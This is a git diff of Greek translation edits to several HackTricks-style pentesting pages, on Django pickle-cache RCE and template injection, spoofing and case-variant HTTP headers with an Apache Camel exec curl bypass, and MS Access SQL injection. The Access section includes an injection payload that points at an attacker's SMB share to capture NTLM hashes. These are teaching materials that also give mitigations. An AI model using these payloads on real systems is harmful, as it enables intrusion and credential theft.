Η προεπιλεγμένη μέθοδος αποθήκευσης cache του Django είναι [Python pickles](https://docs.python.org/3/library/pickle.html), η οποία μπορεί να οδηγήσει σε RCE αν [μη αξιόπιστα δεδομένα αποσυμπιεστούν](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Αν ένας επιτιθέμενος μπορέσει να αποκτήσει δικαιώματα εγγραφής στην cache, μπορεί να κλιμακώσει αυτή την ευπάθεια σε RCE στον υποκείμενο διακομιστή**.
|
||||
Η προεπιλεγμένη μέθοδος αποθήκευσης cache του Django είναι [Python pickles](https://docs.python.org/3/library/pickle.html), η οποία μπορεί να οδηγήσει σε RCE αν [μη αξιόπιστα δεδομένα αποσυμπιεστούν](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf). **Αν ένας επιτιθέμενος μπορέσει να αποκτήσει δικαιώματα εγγραφής στην cache, μπορεί να κλιμακώσει αυτήν την ευπάθεια σε RCE στον υποκείμενο διακομιστή**.
|
||||
|
||||
Η cache του Django αποθηκεύεται σε μία από τέσσερις τοποθεσίες: [Redis](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/redis.py#L12), [μνήμη](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/locmem.py#L16), [αρχεία](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/filebased.py#L16), ή μια [βάση δεδομένων](https://github.com/django/django/blob/48a1929ca050f1333927860ff561f6371706968a/django/core/cache/backends/db.py#L95). Η cache που αποθηκεύεται σε διακομιστή Redis ή βάση δεδομένων είναι οι πιο πιθανές διαδρομές επίθεσης (Redis injection και SQL injection), αλλά ένας επιτιθέμενος μπορεί επίσης να είναι σε θέση να χρησιμοποιήσει την cache βασισμένη σε αρχεία για να μετατρέψει μια αυθαίρετη εγγραφή σε RCE. Οι συντηρητές έχουν χαρακτηρίσει αυτό ως μη ζήτημα. Είναι σημαντικό να σημειωθεί ότι ο φάκελος αρχείων cache, το όνομα πίνακα SQL και οι λεπτομέρειες του διακομιστή Redis θα διαφέρουν ανάλογα με την υλοποίηση.
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
---
|
||||
|
||||
## Server-Side Template Injection (SSTI)
|
||||
Η Γλώσσα Προτύπων Django (DTL) είναι **Turing-complete**. Αν τα δεδομένα που παρέχονται από τον χρήστη αποδοθούν ως *string προτύπου* (για παράδειγμα καλώντας `Template(user_input).render()` ή όταν το `|safe`/`format_html()` αφαιρεί την αυτόματη απόδραση), ένας επιτιθέμενος μπορεί να επιτύχει πλήρη SSTI → RCE.
|
||||
Η Γλώσσα Προτύπων Django (DTL) είναι **Turing-complete**. Αν τα δεδομένα που παρέχονται από τον χρήστη αποδοθούν ως *template string* (για παράδειγμα καλώντας `Template(user_input).render()` ή όταν το `|safe`/`format_html()` αφαιρεί την αυτόματη απόδραση), ένας επιτιθέμενος μπορεί να επιτύχει πλήρη SSTI → RCE.
|
||||
|
||||
### Detection
|
||||
1. Αναζητήστε δυναμικές κλήσεις σε `Template()` / `Engine.from_string()` / `render_to_string()` που περιλαμβάνουν *οποιαδήποτε* μη απολυμασμένα δεδομένα αιτήματος.
|
||||
@ -65,15 +65,15 @@ print(f"sessionid={mal}")
|
||||
---
|
||||
|
||||
## Πρόσφατα (2023-2025) Υψηλής Επίδρασης Django CVEs που πρέπει να ελέγξουν οι Pentesters
|
||||
* **CVE-2025-48432** – *Εισαγωγή Καταγραφής μέσω μη διαφυλαγμένου `request.path`* (διορθώθηκε 4 Ιουνίου 2025). Επιτρέπει στους επιτιθέμενους να μεταφέρουν νέες γραμμές/κωδικούς ANSI σε αρχεία καταγραφής και να δηλητηριάσουν την ανάλυση καταγραφής. Επίπεδο patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Κρίσιμη SQL injection* στο `QuerySet.values()/values_list()` στο `JSONField` (CVSS 9.8). Δημιουργήστε κλειδιά JSON για να σπάσετε την παράθεση και να εκτελέσετε αυθαίρετη SQL. Διορθώθηκε στην 4.2.15 / 5.0.8.
|
||||
* **CVE-2025-48432** – *Εισαγωγή καταγραφών μέσω μη διαφυλαγμένου `request.path`* (διορθώθηκε 4 Ιουνίου 2025). Επιτρέπει στους επιτιθέμενους να μεταφέρουν νέες γραμμές/κωδικούς ANSI σε αρχεία καταγραφής και να δηλητηριάσουν την ανάλυση καταγραφών. Επίπεδο patch ≥ 4.2.22 / 5.1.10 / 5.2.2.
|
||||
* **CVE-2024-42005** – *Κρίσιμη SQL injection* στο `QuerySet.values()/values_list()` στο `JSONField` (CVSS 9.8). Δημιουργήστε JSON κλειδιά για να σπάσετε την παράθεση και να εκτελέσετε αυθαίρετη SQL. Διορθώθηκε στην 4.2.15 / 5.0.8.
|
||||
|
||||
Πάντα να αναγνωρίζετε την ακριβή έκδοση του πλαισίου μέσω της σελίδας σφάλματος `X-Frame-Options` ή του hash του `/static/admin/css/base.css` και να δοκιμάζετε τα παραπάνω όπου είναι εφαρμόσιμο.
|
||||
Πάντα να αναγνωρίζετε την ακριβή έκδοση του framework μέσω της σελίδας σφάλματος `X-Frame-Options` ή του hash του `/static/admin/css/base.css` και να δοκιμάζετε τα παραπάνω όπου είναι εφαρμόσιμο.
|
||||
|
||||
---
|
||||
|
||||
## Αναφορές
|
||||
* Ασφαλής έκδοση Django – "Django 5.2.2, 5.1.10, 4.2.22 αντιμετωπίζει το CVE-2025-48432" – 4 Ιουνίου 2025.
|
||||
* Ασφαλής έκδοση Django – "Django 5.2.2, 5.1.10, 4.2.22 αντιμετωπίζουν το CVE-2025-48432" – 4 Ιουνίου 2025.
|
||||
* OP-Innovate: "Η Django κυκλοφορεί ενημερώσεις ασφαλείας για να αντιμετωπίσει την αδυναμία SQL injection CVE-2024-42005" – 11 Αυγούστου 2024.
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
@ -1,4 +1,4 @@
|
||||
# Ειδικοί HTTP κεφαλίδες
|
||||
# Ειδικοί HTTP επικεφαλίδες
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -7,7 +7,7 @@
|
||||
- [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers)
|
||||
- [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble)
|
||||
|
||||
## Κεφαλίδες για Αλλαγή Τοποθεσίας
|
||||
## Επικεφαλίδες για Αλλαγή Τοποθεσίας
|
||||
|
||||
Αναδιατύπωση **IP πηγής**:
|
||||
|
||||
@ -26,16 +26,16 @@
|
||||
- `True-Client-IP: 127.0.0.1`
|
||||
- `Cluster-Client-IP: 127.0.0.1`
|
||||
- `Via: 1.0 fred, 1.1 127.0.0.1`
|
||||
- `Connection: close, X-Forwarded-For` (Ελέγξτε τις κεφαλίδες hop-by-hop)
|
||||
- `Connection: close, X-Forwarded-For` (Ελέγξτε τις επικεφαλίδες hop-by-hop)
|
||||
|
||||
Αναδιατύπωση **τοποθεσίας**:
|
||||
|
||||
- `X-Original-URL: /admin/console`
|
||||
- `X-Rewrite-URL: /admin/console`
|
||||
|
||||
## Κεφαλίδες Hop-by-Hop
|
||||
## Επικεφαλίδες Hop-by-Hop
|
||||
|
||||
Μια κεφαλίδα hop-by-hop είναι μια κεφαλίδα που έχει σχεδιαστεί για να επεξεργάζεται και να καταναλώνεται από τον proxy που χειρίζεται την αίτηση, σε αντίθεση με μια κεφαλίδα end-to-end.
|
||||
Μια επικεφαλίδα hop-by-hop είναι μια επικεφαλίδα που έχει σχεδιαστεί για να επεξεργάζεται και να καταναλώνεται από τον proxy που χειρίζεται την αίτηση, σε αντίθεση με μια επικεφαλίδα end-to-end.
|
||||
|
||||
- `Connection: close, X-Forwarded-For`
|
||||
|
||||
@ -52,14 +52,14 @@
|
||||
../../pentesting-web/http-request-smuggling/
|
||||
{{#endref}}
|
||||
|
||||
## Κεφαλίδες Cache
|
||||
## Επικεφαλίδες Cache
|
||||
|
||||
**Κεφαλίδες Cache Διακομιστή**:
|
||||
**Επικεφαλίδες Cache Διακομιστή**:
|
||||
|
||||
- **`X-Cache`** στην απάντηση μπορεί να έχει την τιμή **`miss`** όταν η αίτηση δεν έχει αποθηκευτεί στην cache και την τιμή **`hit`** όταν είναι αποθηκευμένη
|
||||
- Παρόμοια συμπεριφορά στην κεφαλίδα **`Cf-Cache-Status`**
|
||||
- Παρόμοια συμπεριφορά στην επικεφαλίδα **`Cf-Cache-Status`**
|
||||
- **`Cache-Control`** υποδεικνύει αν ένας πόρος αποθηκεύεται στην cache και πότε θα είναι η επόμενη φορά που ο πόρος θα αποθηκευτεί ξανά: `Cache-Control: public, max-age=1800`
|
||||
- **`Vary`** χρησιμοποιείται συχνά στην απάντηση για να **υποδείξει επιπλέον κεφαλίδες** που θεωρούνται **μέρος του κλειδιού cache** ακόμη και αν κανονικά δεν είναι κλειδωμένες.
|
||||
- **`Vary`** χρησιμοποιείται συχνά στην απάντηση για να **υποδείξει πρόσθετες επικεφαλίδες** που θεωρούνται **μέρος του κλειδιού cache** ακόμη και αν κανονικά δεν είναι κλειδωμένες.
|
||||
- **`Age`** ορίζει τον χρόνο σε δευτερόλεπτα που το αντικείμενο έχει παραμείνει στην cache του proxy.
|
||||
- **`Server-Timing: cdn-cache; desc=HIT`** υποδεικνύει επίσης ότι ένας πόρος έχει αποθηκευτεί στην cache
|
||||
|
||||
@ -67,30 +67,30 @@
|
||||
../../pentesting-web/cache-deception/
|
||||
{{#endref}}
|
||||
|
||||
**Τοπικές κεφαλίδες Cache**:
|
||||
**Τοπικές επικεφαλίδες Cache**:
|
||||
|
||||
- `Clear-Site-Data`: Κεφαλίδα για να υποδείξει την cache που πρέπει να αφαιρεθεί: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Clear-Site-Data`: Επικεφαλίδα για να υποδείξει την cache που πρέπει να αφαιρεθεί: `Clear-Site-Data: "cache", "cookies"`
|
||||
- `Expires`: Περιέχει ημερομηνία/ώρα όταν η απάντηση πρέπει να λήξει: `Expires: Wed, 21 Oct 2015 07:28:00 GMT`
|
||||
- `Pragma: no-cache` το ίδιο με `Cache-Control: no-cache`
|
||||
- `Warning`: Η **`Warning`** γενική κεφαλίδα HTTP περιέχει πληροφορίες σχετικά με πιθανά προβλήματα με την κατάσταση του μηνύματος. Περισσότερες από μία κεφαλίδες `Warning` μπορεί να εμφανιστούν σε μια απάντηση. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
- `Warning`: Η **`Warning`** γενική HTTP επικεφαλίδα περιέχει πληροφορίες σχετικά με πιθανά προβλήματα με την κατάσταση του μηνύματος. Περισσότερες από μία `Warning` επικεφαλίδες μπορεί να εμφανιστούν σε μια απάντηση. `Warning: 110 anderson/1.3.37 "Response is stale"`
|
||||
|
||||
## Συνθήκες
|
||||
|
||||
- Οι αιτήσεις που χρησιμοποιούν αυτές τις κεφαλίδες: **`If-Modified-Since`** και **`If-Unmodified-Since`** θα απαντηθούν με δεδομένα μόνο αν η κεφαλίδα απάντησης **`Last-Modified`** περιέχει διαφορετική ώρα.
|
||||
- Οι συνθήκες αιτήσεων που χρησιμοποιούν **`If-Match`** και **`If-None-Match`** χρησιμοποιούν μια τιμή Etag ώστε ο διακομιστής ιστού να στείλει το περιεχόμενο της απάντησης αν τα δεδομένα (Etag) έχουν αλλάξει. Το `Etag` λαμβάνεται από την απάντηση HTTP.
|
||||
- Η τιμή **Etag** υπολογίζεται συνήθως **βάσει** του **περιεχομένου** της απάντησης. Για παράδειγμα, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` υποδεικνύει ότι το `Etag` είναι το **Sha1** των **37 bytes**.
|
||||
- Οι αιτήσεις που χρησιμοποιούν αυτές τις επικεφαλίδες: **`If-Modified-Since`** και **`If-Unmodified-Since`** θα απαντηθούν με δεδομένα μόνο αν η επικεφαλίδα απάντησης **`Last-Modified`** περιέχει διαφορετική ώρα.
|
||||
- Οι συνθήκες αιτήσεων που χρησιμοποιούν **`If-Match`** και **`If-None-Match`** χρησιμοποιούν μια τιμή Etag ώστε ο διακομιστής ιστού να στείλει το περιεχόμενο της απάντησης αν τα δεδομένα (Etag) έχουν αλλάξει. Το `Etag` λαμβάνεται από την HTTP απάντηση.
|
||||
- Η τιμή **Etag** υπολογίζεται συνήθως **με βάση** το **περιεχόμενο** της απάντησης. Για παράδειγμα, `ETag: W/"37-eL2g8DEyqntYlaLp5XLInBWsjWI"` υποδεικνύει ότι το `Etag` είναι το **Sha1** των **37 bytes**.
|
||||
|
||||
## Αιτήσεις Εύρους
|
||||
|
||||
- **`Accept-Ranges`**: Υποδεικνύει αν ο διακομιστής υποστηρίζει αιτήσεις εύρους, και αν ναι σε ποια μονάδα μπορεί να εκφραστεί το εύρος. `Accept-Ranges: <range-unit>`
|
||||
- **`Range`**: Υποδεικνύει το μέρος ενός εγγράφου που ο διακομιστής πρέπει να επιστρέψει. Για παράδειγμα, `Range:80-100` θα επιστρέψει τα bytes 80 έως 100 της αρχικής απάντησης με κωδικό κατάστασης 206 Partial Content. Επίσης, θυμηθείτε να αφαιρέσετε την κεφαλίδα `Accept-Encoding` από την αίτηση.
|
||||
- Αυτό θα μπορούσε να είναι χρήσιμο για να αποκτήσετε μια απάντηση με αυθαίρετο κωδικό javascript που διαφορετικά θα μπορούσε να διαφύγει. Αλλά για να το εκμεταλλευτείτε αυτό θα χρειαστεί να εισάγετε αυτές τις κεφαλίδες στην αίτηση.
|
||||
- **`Range`**: Υποδεικνύει το μέρος ενός εγγράφου που ο διακομιστής πρέπει να επιστρέψει. Για παράδειγμα, `Range:80-100` θα επιστρέψει τα bytes 80 έως 100 της αρχικής απάντησης με κωδικό κατάστασης 206 Partial Content. Επίσης, θυμηθείτε να αφαιρέσετε την επικεφαλίδα `Accept-Encoding` από την αίτηση.
|
||||
- Αυτό θα μπορούσε να είναι χρήσιμο για να αποκτήσετε μια απάντηση με αυθαίρετο κωδικό JavaScript που διαφορετικά θα μπορούσε να διαφύγει. Αλλά για να το εκμεταλλευτείτε αυτό θα χρειαστεί να εισάγετε αυτές τις επικεφαλίδες στην αίτηση.
|
||||
- **`If-Range`**: Δημιουργεί μια συνθήκη αίτησης εύρους που εκπληρώνεται μόνο αν το δεδομένο etag ή ημερομηνία ταιριάζει με τον απομακρυσμένο πόρο. Χρησιμοποιείται για να αποτρέψει τη λήψη δύο εύρων από ασύμβατες εκδόσεις του πόρου.
|
||||
- **`Content-Range`**: Υποδεικνύει πού σε ένα πλήρες μήνυμα σώματος ανήκει ένα μερικό μήνυμα.
|
||||
|
||||
## Πληροφορίες σώματος μηνύματος
|
||||
|
||||
- **`Content-Length`:** Το μέγεθος του πόρου, σε δεκαδικό αριθμό bytes.
|
||||
- **`Content-Length`:** Το μέγεθος του πόρου, σε δεκαδικούς αριθμούς bytes.
|
||||
- **`Content-Type`**: Υποδεικνύει τον τύπο μέσου του πόρου
|
||||
- **`Content-Encoding`**: Χρησιμοποιείται για να προσδιορίσει τον αλγόριθμο συμπίεσης.
|
||||
- **`Content-Language`**: Περιγράφει τη γλώσσα(ες) που προορίζονται για το κοινό, ώστε να επιτρέπει σε έναν χρήστη να διαφοροποιεί σύμφωνα με την προτιμώμενη γλώσσα του.
|
||||
@ -99,7 +99,7 @@
|
||||
Από την άποψη ενός pentest, αυτές οι πληροφορίες είναι συνήθως "άχρηστες", αλλά αν ο πόρος είναι **προστατευμένος** από 401 ή 403 και μπορείτε να βρείτε κάποιο **τρόπο** να **πάρετε** αυτές τις **πληροφορίες**, αυτό θα μπορούσε να είναι **ενδιαφέρον.**\
|
||||
Για παράδειγμα, ένας συνδυασμός **`Range`** και **`Etag`** σε μια αίτηση HEAD μπορεί να διαρρεύσει το περιεχόμενο της σελίδας μέσω αιτήσεων HEAD:
|
||||
|
||||
- Μια αίτηση με την κεφαλίδα `Range: bytes=20-20` και με μια απάντηση που περιέχει `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` διαρρέει ότι το SHA1 του byte 20 είναι `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
- Μια αίτηση με την επικεφαλίδα `Range: bytes=20-20` και με μια απάντηση που περιέχει `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` διαρρέει ότι το SHA1 του byte 20 είναι `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y`
|
||||
|
||||
## Πληροφορίες Διακομιστή
|
||||
|
||||
@ -108,12 +108,12 @@
|
||||
|
||||
## Έλεγχοι
|
||||
|
||||
- **`Allow`**: Αυτή η κεφαλίδα χρησιμοποιείται για να επικοινωνήσει τις μεθόδους HTTP που μπορεί να χειριστεί ένας πόρος. Για παράδειγμα, μπορεί να καθοριστεί ως `Allow: GET, POST, HEAD`, υποδεικνύοντας ότι ο πόρος υποστηρίζει αυτές τις μεθόδους.
|
||||
- **`Expect`**: Χρησιμοποιείται από τον πελάτη για να μεταφέρει προσδοκίες που πρέπει να πληροί ο διακομιστής για να επεξεργαστεί επιτυχώς την αίτηση. Μια κοινή περίπτωση χρήσης περιλαμβάνει την κεφαλίδα `Expect: 100-continue`, η οποία σηματοδοτεί ότι ο πελάτης σκοπεύει να στείλει ένα μεγάλο φορτίο δεδομένων. Ο πελάτης αναζητά μια απάντηση `100 (Continue)` πριν προχωρήσει με τη μετάδοση. Αυτός ο μηχανισμός βοηθά στη βελτιστοποίηση της χρήσης του δικτύου περιμένοντας επιβεβαίωση από τον διακομιστή.
|
||||
- **`Allow`**: Αυτή η επικεφαλίδα χρησιμοποιείται για να επικοινωνήσει τις HTTP μεθόδους που μπορεί να χειριστεί ένας πόρος. Για παράδειγμα, μπορεί να καθοριστεί ως `Allow: GET, POST, HEAD`, υποδεικνύοντας ότι ο πόρος υποστηρίζει αυτές τις μεθόδους.
|
||||
- **`Expect`**: Χρησιμοποιείται από τον πελάτη για να μεταφέρει προσδοκίες που πρέπει να πληροί ο διακομιστής για να επεξεργαστεί επιτυχώς την αίτηση. Μια κοινή περίπτωση χρήσης περιλαμβάνει την επικεφαλίδα `Expect: 100-continue`, η οποία σηματοδοτεί ότι ο πελάτης σκοπεύει να στείλει ένα μεγάλο φορτίο δεδομένων. Ο πελάτης αναζητά μια απάντηση `100 (Continue)` πριν προχωρήσει με τη μετάδοση. Αυτός ο μηχανισμός βοηθά στη βελτιστοποίηση της χρήσης του δικτύου περιμένοντας επιβεβαίωση από τον διακομιστή.
|
||||
|
||||
## Λήψεις
|
||||
|
||||
- Η **`Content-Disposition`** κεφαλίδα στις απαντήσεις HTTP καθορίζει αν ένα αρχείο πρέπει να εμφανίζεται **inline** (μέσα στη σελίδα) ή να αντιμετωπίζεται ως **συνημμένο** (κατεβασμένο). Για παράδειγμα:
|
||||
- Η **`Content-Disposition`** επικεφαλίδα στις HTTP απαντήσεις καθορίζει αν ένα αρχείο πρέπει να εμφανίζεται **inline** (μέσα στη σελίδα) ή να αντιμετωπίζεται ως **συνημμένο** (κατεβασμένο). Για παράδειγμα:
|
||||
```
|
||||
Content-Disposition: attachment; filename="filename.jpg"
|
||||
```
|
||||
@ -168,7 +168,7 @@ Access-Control-Allow-Credentials: true
|
||||
```
|
||||
### **Cross-Origin Embedder Policy (COEP) and Cross-Origin Opener Policy (COOP)**
|
||||
|
||||
COEP και COOP είναι απαραίτητα για την ενεργοποίηση της απομόνωσης μεταξύ διαφορετικών προελεύσεων, μειώνοντας σημαντικά τον κίνδυνο επιθέσεων τύπου Spectre. Ελέγχουν τη φόρτωση πόρων από διαφορετικές προελεύσεις και την αλληλεπίδραση με παράθυρα από διαφορετικές προελεύσεις, αντίστοιχα.
|
||||
COEP και COOP είναι απαραίτητα για την ενεργοποίηση της διασυνοριακής απομόνωσης, μειώνοντας σημαντικά τον κίνδυνο επιθέσεων τύπου Spectre. Ελέγχουν τη φόρτωση διασυνοριακών πόρων και την αλληλεπίδραση με διασυνοριακά παράθυρα, αντίστοιχα.
|
||||
```
|
||||
Cross-Origin-Embedder-Policy: require-corp
|
||||
Cross-Origin-Opener-Policy: same-origin-allow-popups
|
||||
@ -187,17 +187,17 @@ HTTP/1.1 ορίζει τα ονόματα πεδίων κεφαλίδας ως *
|
||||
|
||||
* Προσαρμοσμένες λίστες επιτρεπόμενων/απαγορευμένων που προσπαθούν να μπλοκάρουν “επικίνδυνες” εσωτερικές κεφαλίδες πριν η αίτηση φτάσει σε ένα ευαίσθητο συστατικό.
|
||||
* Εσωτερικές υλοποιήσεις ψευδοκεφαλίδων reverse-proxy (π.χ. απολύμανση `X-Forwarded-For`).
|
||||
* Πλαίσια που εκθέτουν διαχειριστικά / αποσφαλμάτωσης endpoints και βασίζονται σε ονόματα κεφαλίδων για αυθεντικοποίηση ή επιλογή εντολών.
|
||||
* Πλαίσια που εκθέτουν διαχειριστικά / debug endpoints και βασίζονται σε ονόματα κεφαλίδων για αυθεντικοποίηση ή επιλογή εντολών.
|
||||
|
||||
### Abusing the bypass
|
||||
|
||||
1. Εντοπίστε μια κεφαλίδα που φιλτράρεται ή επικυρώνεται από την πλευρά του διακομιστή (για παράδειγμα, διαβάζοντας τον πηγαίο κώδικα, την τεκμηρίωση ή τα μηνύματα σφάλματος).
|
||||
2. Στείλτε την **ίδια κεφαλίδα με διαφορετική περίπτωση** (μικτή ή κεφαλαία). Δεδομένου ότι οι στοίβες HTTP συνήθως κανονικοποιούν τις κεφαλίδες μόνο *μετά* την εκτέλεση του κώδικα χρήστη, ο ευάλωτος έλεγχος μπορεί να παρακαμφθεί.
|
||||
3. Αν το downstream συστατικό αντιμετωπίζει τις κεφαλίδες με τρόπο case-insensitive (οι περισσότερες το κάνουν), θα αποδεχτεί την τιμή που ελέγχεται από τον επιτιθέμενο.
|
||||
1. Identify a header that is filtered or validated server-side (for example, by reading source code, documentation, or error messages).
|
||||
2. Send the **same header with a different casing** (mixed-case or upper-case). Because HTTP stacks usually canonicalise headers only *after* user code has run, the vulnerable check can be skipped.
|
||||
3. If the downstream component treats headers in a case-insensitive way (most do), it will accept the attacker-controlled value.
|
||||
|
||||
### Example: Apache Camel `exec` RCE (CVE-2025-27636)
|
||||
|
||||
Σε ευάλωτες εκδόσεις του Apache Camel, οι διαδρομές του *Command Center* προσπαθούν να μπλοκάρουν μη αξιόπιστες αιτήσεις αφαιρώντας τις κεφαλίδες `CamelExecCommandExecutable` και `CamelExecCommandArgs`. Η σύγκριση έγινε με `equals()` οπότε μόνο τα ακριβή ονόματα σε πεζά γράμματα αφαιρέθηκαν.
|
||||
In vulnerable versions of Apache Camel the *Command Center* routes try to block untrusted requests by stripping the headers `CamelExecCommandExecutable` and `CamelExecCommandArgs`. The comparison was done with `equals()` so only the exact lowercase names were removed.
|
||||
```bash
|
||||
# Bypass the filter by using mixed-case header names and execute `ls /` on the host
|
||||
curl "http://<IP>/command-center" \
|
||||
@ -206,12 +206,12 @@ curl "http://<IP>/command-center" \
|
||||
```
|
||||
Οι κεφαλίδες φτάνουν στο `exec` συστατικό χωρίς φιλτράρισμα, με αποτέλεσμα την απομακρυσμένη εκτέλεση εντολών με τα δικαιώματα της διαδικασίας Camel.
|
||||
|
||||
### Ανίχνευση & Ελάφρυνση
|
||||
### Ανίχνευση & Μετριασμός
|
||||
|
||||
* Κανονικοποιήστε όλα τα ονόματα κεφαλίδων σε μία μόνο περίπτωση (συνήθως πεζά) **πριν** από την εκτέλεση συγκρίσεων επιτρεπόμενων/απαγορευμένων.
|
||||
* Απορρίψτε ύποπτες διπλοτυπίες: αν είναι παρούσες και οι δύο `Header:` και `HeAdEr:`, αντιμετωπίστε το ως ανωμαλία.
|
||||
* Χρησιμοποιήστε μια θετική λίστα επιτρεπόμενων που επιβάλλεται **μετά** την κανονικοποίηση.
|
||||
* Προστατέψτε τα διαχειριστικά σημεία με αυθεντικοποίηση και δικτυακή τμηματοποίηση.
|
||||
* Προστατέψτε τα σημεία διαχείρισης με αυθεντικοποίηση και δικτυακή τμηματοποίηση.
|
||||
|
||||
## Αναφορές
|
||||
|
||||
|
@ -29,9 +29,9 @@
|
||||
|
||||
Δεν υποστηρίζονται.
|
||||
|
||||
### ΟΡΙΟ
|
||||
### LIMIT
|
||||
|
||||
Ο **`LIMIT`** τελεστής **δεν έχει υλοποιηθεί**. Ωστόσο, είναι δυνατόν να περιορίσετε τα αποτελέσματα της ερώτησης SELECT στις **πρώτες N γραμμές του πίνακα χρησιμοποιώντας τον τελεστή `TOP`**. Ο `TOP` δέχεται ως όρισμα έναν ακέραιο, που αντιπροσωπεύει τον αριθμό των γραμμών που θα επιστραφούν.
|
||||
Ο **`LIMIT`** τελεστής **δεν έχει υλοποιηθεί**. Ωστόσο, είναι δυνατόν να περιορίσετε τα αποτελέσματα της ερώτησης SELECT στις **πρώτες N γραμμές του πίνακα χρησιμοποιώντας τον τελεστή `TOP`**. Ο `TOP` δέχεται ως επιχείρημα έναν ακέραιο, που αντιπροσωπεύει τον αριθμό των γραμμών που θα επιστραφούν.
|
||||
```sql
|
||||
1' UNION SELECT TOP 3 attr FROM table%00
|
||||
```
|
||||
@ -56,7 +56,7 @@
|
||||
```sql
|
||||
'=(Mid(username,1,3)='adm')='
|
||||
```
|
||||
Αν γνωρίζετε το **όνομα του πίνακα** και **στήλης** που θέλετε να εξάγετε, μπορείτε να χρησιμοποιήσετε έναν συνδυασμό μεταξύ `Mid`, `LAST` και `TOP` για να **διαρρεύσετε όλες τις πληροφορίες** μέσω boolean SQLi:
|
||||
Αν γνωρίζετε το **όνομα του πίνακα** και τη **στήλη** που θέλετε να εξάγετε, μπορείτε να χρησιμοποιήσετε έναν συνδυασμό μεταξύ `Mid`, `LAST` και `TOP` για να **διαρρεύσετε όλες τις πληροφορίες** μέσω boolean SQLi:
|
||||
```sql
|
||||
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
||||
```
|
||||
@ -64,7 +64,7 @@ _Μη διστάσετε να το ελέγξετε στο διαδικτυακ
|
||||
|
||||
### Brute-forcing Table names
|
||||
|
||||
Χρησιμοποιώντας την τεχνική chaining equals μπορείτε επίσης να **bruteforce ονόματα πινάκων** με κάτι σαν:
|
||||
Χρησιμοποιώντας την τεχνική chaining equals μπορείτε επίσης να **bruteforce table names** με κάτι σαν:
|
||||
```sql
|
||||
'=(select+top+1+'lala'+from+<table_name>)='
|
||||
```
|
||||
@ -117,7 +117,7 @@ IIF((select mid(last(username),1,1) from (select top 10 username from users))='a
|
||||
|
||||
### Άλλες Ενδιαφέρουσες λειτουργίες
|
||||
|
||||
- `Mid('admin',1,1)` αποκτά υποσυμβολοσειρά από τη θέση 1 μήκους 1 (η αρχική θέση είναι 1)
|
||||
- `Mid('admin',1,1)` αποκτά υποσυμβολο από τη θέση 1 μήκους 1 (η αρχική θέση είναι 1)
|
||||
- `LEN('1234')` αποκτά το μήκος της συμβολοσειράς
|
||||
- `ASC('A')` αποκτά την ascii τιμή του χαρακτήρα
|
||||
- `CHR(65)` αποκτά τη συμβολοσειρά από την ascii τιμή
|
||||
@ -186,7 +186,7 @@ IN '\\attacker\share\poc.mdb'-- -
|
||||
```
|
||||
Impact:
|
||||
|
||||
* Εξαγωγή Net-NTLMv2 hashes εκτός ζώνης (χρήσιμα για relay ή offline cracking).
|
||||
* Εξαγωγή Net-NTLMv2 hashes εκτός ζώνης (χρήσιμοι για relay ή offline cracking).
|
||||
* Πιθανή απομακρυσμένη εκτέλεση κώδικα αν εκμεταλλευτεί ένα νέο σφάλμα του Jet/ACE parser.
|
||||
|
||||
Mitigations (συνιστάται ακόμη και για legacy Classic ASP εφαρμογές):
|
||||
@ -195,7 +195,7 @@ Mitigations (συνιστάται ακόμη και για legacy Classic ASP ε
|
||||
* Εμποδίστε την έξοδο SMB/WebDAV στα όρια του δικτύου.
|
||||
* Καθαρίστε / παραμετροποιήστε οποιοδήποτε μέρος ενός ερωτήματος που μπορεί να καταλήξει μέσα σε μια ρήτρα `IN`.
|
||||
|
||||
Ο φορέας αναγκαστικής αυθεντικοποίησης επανεξετάστηκε από την Check Point Research το 2023, αποδεικνύοντας ότι είναι ακόμα εκμεταλλεύσιμο σε πλήρως ενημερωμένο Windows Server όταν η κλειδί μητρώου είναι απούσα. citeturn0search0
|
||||
Ο φορέας αναγκαστικής αυθεντικοποίησης επανεξετάστηκε από την Check Point Research το 2023, αποδεικνύοντας ότι είναι ακόμα εκμεταλλεύσιμος σε πλήρως ενημερωμένους Windows Server όταν η κλειδί μητρώου είναι απούσα. citeturn0search0
|
||||
|
||||
### .mdb Password Cracker
|
||||
|
||||
@ -204,7 +204,7 @@ Mitigations (συνιστάται ακόμη και για legacy Classic ASP ε
|
||||
## References
|
||||
|
||||
- [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
||||
- [Microsoft KB5002984 – Configuring Jet/ACE to block remote tables](https://support.microsoft.com/en-gb/topic/kb5002984-configuring-jet-red-database-engine-and-access-connectivity-engine-to-block-access-to-remote-databases-56406821-30f3-475c-a492-208b9bd30544)
|
||||
- [Check Point Research – Abusing Microsoft Access Linked Tables for NTLM Forced Authentication (2023)](https://research.checkpoint.com/2023/abusing-microsoft-access-linked-table-feature-to-perform-ntlm-forced-authentication-attacks/)
|
||||
